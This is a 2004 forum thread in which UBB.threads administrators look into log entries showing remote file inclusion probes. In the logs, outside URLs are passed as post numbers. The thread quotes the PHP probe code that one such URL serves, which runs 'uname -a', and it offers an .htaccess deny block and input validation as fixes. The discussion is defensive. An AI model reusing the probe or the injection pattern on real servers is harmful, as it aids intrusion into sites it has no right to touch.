Today I found some entrys in the ubb.t logs I never saw before:



There are several entrys like this one from different ubb.t scripts. All were called with http://193.150.170.160/4do4sjr? as a parameter instead of a post number. This went on for some hours, so maybe someone was manually going through the scripts.

If I call http://193.150.170.160/4do4sjr? I get this result:
<?php echo "\nbl3"; echo "bl3 "; passthru("uname -a 2>&1"); ?>

Someone trying to hack the forum?

Actually yes, it looks that way.

Nav, could someone be mining for cookies, (hoping someone will enter the url etc in a browser)?

Judging by the IP, my guess is they were mining for email addresses.

Are you running search engine friendly URLs? If so, sometimes relational links can end up inserted into your own URL, as the variables are hidden in a way (using slashes) that they appear to be directories.

I wouldn't worry about it.

found something else:

Tue, Sep 21 2004 15:46:47 +0200
66.89.120.35 Unable to do_query:
SELECT DISTINCT Cat_Title,Cat_Number,Cat_Description
FROM w3t_Category
WHERE Cat_Type = 'forum'
AND Cat_Number = http://66.89.120.35/ebekpko?
ORDER BY Cat_Number
- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '://66.89.120.35/ebekpko?
ORDER BY Cat_Number' at line 4

if you enter the IP you come to "Foothills Bible Church"

Very strange.

It's *most definitely* a hacking attempt being waged via hacked servers.

I recommend that you block these 4 IP#'s in an .htaccess file placed in your root ftp directory (if using Apache)...

193.150.170.160
81.23.227.170
66.89.120.35
65.39.172.139

ex.

<Limit GET>
order deny,allow
deny from 193.150.170.160
deny from 81.23.227.170
deny from 66.89.120.35
deny from 65.39.172.139
allow from all
</Limit>

If any other such IP#'s show up in your logs, just add 'em in.

[]Twisty said:
193.150.170.160
81.23.227.170
66.89.120.35
65.39.172.139
[/]
In my ubb.t logs I can find exactly these IPs in the last few days. And one more:
65.61.221.51

Add that one in as well.

They are attempting to find vulnerabilities in all of your scripts in order to gain access to the server and hijack it.

* Poorly/incorrectly coded scripts can cause serious security problems

I don't think that can find any vulnerabilities - I see this alot of you're using Search Engine friendly URLs and any relative links. It's not SQL injection they are trying, it's just a URL.

The link can end up being

http://www.yourdomain.com/ubbthreads/ubbthreads.php/Cat/http://66.89.120.35

If the URL on your site, ends up ending with a trailing slash, any other links can look relative. The jibberish at the end might be part of the session ID? If you're using the search engine URLs you'll see alot of this.

Take a look here Josh...

http://www.sitepoint.com/forums/archive/index.php/t-177590

Hrm... interesting - I'm still not sure how that code would execute inside a query like that - in the example in that thread, they are including a php file as a result of the variable received via URL.

I'm pretty sure the addslashes calls in threads would foil that, right? That would screw up the quote marks in the included scripts.

Here's another for you, nice & long

http://solidox.org/index.php?w=module:article,action:view,id:11

(I already posted a mod for these broken url's btw hehe)

Even if this is no security problem to ubb.t. Wouldn't it be at least cleaner to verify all the parameters to be an int instead of letting the database find out.

[]Twisty said:
(I already posted a mod for these broken url's btw hehe) [/]

Must have missed that one... goes off to search....

@Maze & Twisty: What version of ubb.threads are you using?

6.3.2 over here.

[]Ian_W said:

Must have missed that one... goes off to search.... [/]

It's a really simple change Ian, takes 2 seconds...

https://www.ubbdev.com/forum/showflat...true#Post110699

I notice a lot more sites using commas in their URL's these days.

Ah, ok. There have been some security fixes in 6.4.x and 6.5.

You should add some additional checks to showflat.php and showthreaded.php to validate the input.

Find if (!$Number) {

and change to:

if (!$Number || !is_numeric($Number)) {

The log entrys are from 6.4.2. Since some days I run 6.5, since the upgrade no more of these entrys were logged.

Thanks for the heads-up Astaran []http://graemlins.mameworld.info/graemlins/thumbsup.gif[/]

ah, that was included in the 6.5 update. Good to hear.

If anyone here can read german visit: http://www.heise.de/newsticker/meldung/51838

Its an official warning from DFN Computer Emergency Response Teams (CERT) to keep an eye on unsecure server configurations. Maybe you can read this true babelfish.altavista.com

Interessant, Danke!